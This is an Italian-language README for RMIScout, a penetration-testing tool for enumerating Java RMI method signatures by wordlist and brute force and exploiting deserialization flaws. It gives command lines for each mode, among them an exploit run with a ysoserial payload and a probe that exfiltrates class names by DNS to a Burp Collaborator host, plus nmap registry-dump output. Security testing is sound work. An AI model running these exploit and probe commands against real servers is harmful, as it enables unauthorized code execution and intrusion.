
RMIScout utilizza strategie di wordlist e brute force per enumerare le funzioni RMI di Java e sfruttare le vulnerabilità di unmarshalling dei parametri RMI.
RMIScout consente attacchi con wordlist e brute force contro interfacce Java RMI esposte per indovinare in modo sicuro le firme dei metodi senza invocarli. Supporta molteplici protocolli Java RMI, l'invocazione di metodi e lo sfruttamento.
Per identificare ma non eseguire funzioni RMI, RMIScout utilizza funzioni di rete RMI di basso livello e generazione dinamica di classi per inviare invocazioni RMI con tipi deliberatamente non corrispondenti al fine di attivare eccezioni remote. Tutti i parametri vengono sostituiti con una classe serializzabile generata dinamicamente con un nome di 255 caratteri che si presume non esista nel classpath remoto. Ad esempio:
Interfaccia remota:
void login(String user, String password)
RMIScout invocherà:
login((String) new QQkzkn3..255 caratteri..(), (String) new QQkzkn3..255 caratteri..())
Se la classe è presente, ciò comporterà una `java.rmi.UnmarshalException` causata da `ClassNotFoundException` o da un errore di unmarshalling degli argomenti senza invocare il metodo sottostante.
Per articoli tecnici più dettagliati:
* [(Articolo originale) RMIScout: Brute-force sicuro e rapido delle interfacce Java RMI per l'esecuzione di codice](https://know.bishopfox.com/research/rmiscout)
* [(Aggiornamento RMIScout) Lezioni apprese sul brute-forcing di RMI-IIOP con RMIScout](https://labs.bishopfox.com/tech-blog/lessons-learned-on-brute-forcing-rmi-iiop-with-rmiscout)
### Modalità di funzionamento
#### Modalità wordlist
./rmiscout.sh wordlist -i lists/prototypes.txt
Fornisci una wordlist di prototipi di metodi da verificare sul server remoto. RMIScout restituirà tutte le corrispondenze identificate.
*Per RMI-IIOP/CORBA*: A meno che i metodi non siano sovraccaricati, il brute-forcing e l'invocazione richiedono solo che i nomi corrispondano (tutte le altre informazioni vengono ignorate).
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/3545/b49af096649b16371119eb4d8c730c23e59fe3bfa7a4a4e7703bd56f48d73342.gif" width=800/>
</p>
#### Modalità brute force
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4
Fornisci una wordlist di nomi di metodi candidati, quindi fornisci un elenco delimitato da virgole di tipi di ritorno candidati, intervallo numerico di parametri e tipi di parametri candidati. La modalità brute force genererà le permutazioni e cercherà le firme corrispondenti.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/3545/7d72b55c4f69aaac0cc8fefdf93bdb545090239a664b1c427584a89325b5ed8e.gif" width=800/>
</p>
#### Modalità exploit
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName
Su server mal configurati, qualsiasi firma RMI nota che utilizza tipi non primitivi (ad es., `java.util.List`), può essere sfruttata sostituendo l'oggetto con un payload serializzato. Questa è una configurazione errata piuttosto comune (ad es., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server e Gemfire, Apache Karaf + Cassandra) come evidenziato nell'intervento di An Trinh al Blackhat EU 2019 (https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf).
RMIScout si integra con [ysoserial](https://github.com/frohoff/ysoserial/) per eseguire attacchi di deserializzazione contro servizi che configurano in modo errato i filtri di serializzazione a livello di processo ([JEP 290](https://openjdk.java.net/jeps/290)).
Esempi di firme sfruttabili:
void exampleMethod(java.util.Map a) // Qualsiasi tipo non primitivo void exampleMethod(float[] a) // Qualsiasi tipo di array, anche primitivi void exampleMethod(String a) // Funziona su JDK più vecchi, vedere sotto...
*Nota:* Le firme contenenti tipi `java.lang.String` sono sfruttabili solo nelle versioni JRE 8/11/13/14 precedenti all'inizio del 2020 in RMI-JRMP, ma sono ancora sfruttabili al momento in RMI-IIOP.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/3545/da3eaefb9f9c43ab2d8fe0df6d3a9a880630b90b14c345b937b118d6b2a5970b.gif" width=800/>
</p>
#### Modalità invoke
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' ./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)'
RMIScout ti permette di invocare qualsiasi firma con primitivi, array primitivi o Stringhe. Tipi più avanzati richiederanno la scrittura di un client personalizzato.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/3545/4d6341cea3be85d8003d108946d90b30c97a4cc75876d5ab770ae09019dc8b96.gif" width=800/>
</p>
#### Modalità probe
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName
RMIScout si integra con [GadgetProbe](https://github.com/bishopfox/gadgetprobe) per identificare le classi nel classpath remoto. I nomi delle classi vengono esfiltrati tramite DNS.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/3545/9e70ef4e3e4f5c3da27ecfd6d6a11e825a25af345f89079db6f64a854e673a66.gif" width=800/>
</p>
### Compilazione ed esecuzione
Utilizza lo script `rmiscout.sh` incluso per compilare automaticamente il progetto e come comodo wrapper per la sintassi `java -jar`:
```bash
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
In alternativa, compila il progetto manualmente e utilizza la sintassi tradizionale java -jar:
# Compila manualmente il JAR
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
Nota: RMI-IIOP (compilazione/runtime) e ysoserial (runtime) dipendono da JDK8.
Esegui il server RMI demo in Docker. Prova la wordlist inclusa demo/wordlist.txt.
cd demo
./start_demo.sh
D: Come posso sapere se <host>:<port> è un registro RMI?
Usa ./rmiscout list <host> <port> per ottenere informazioni sui registri su un server remoto.
./rmiscout.sh list 127.0.0.1 1099
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
Oppure, usa lo script rmi-dumpregistry di nmap:
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-dumpregistry:
| ActivationServer
| com.bishopfox.example.ActivationImpl_Stub
| \x00\x0EActivatableRef
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
| plaintest
| implements com.bishopfox.example.HelloInterface,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:1111
| extends
|_ java.rmi.server.RemoteObject
D: Ho trovato un registro sulla porta 1098 con il nome java.rmi.activation.ActivationSystem. Cosa posso farci?
Questo è un demone del sistema di attivazione rmid. Tutti i suoi metodi sono limitati dal SecurityManager. Le versioni più recenti di JRE verificano se il peer remoto proviene da localhost prima di deserializzare qualsiasi dato remoto. Le versioni precedenti (pre-2011) non avevano questo controllo e potrebbero essere vulnerabili. Vedi https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
D: Posso eseguire RMIScout con un runtime più recente di JRE 8?
Tecnicamente sì, ma diverse funzionalità smetteranno di funzionare. Il supporto CORBA, il supporto probe e ysoserial (modalità exploit) richiedono una dipendenza da JRE 8.
D: Perché ricevo una CannotCompileException?
Una CannotCompileException si verifica quando viene fornito un nome di metodo o un prototipo non valido direttamente o tramite una wordlist. RMIScout genera bytecode per le firme candidate fornite dall'utente in fase di esecuzione. Sebbene RMIScout abbia regole di base per correggere errori di sintassi comuni nei prototipi forniti dall'utente, a volte fallirà.
Twitter: @BumbleSec
GitHub: the-bumble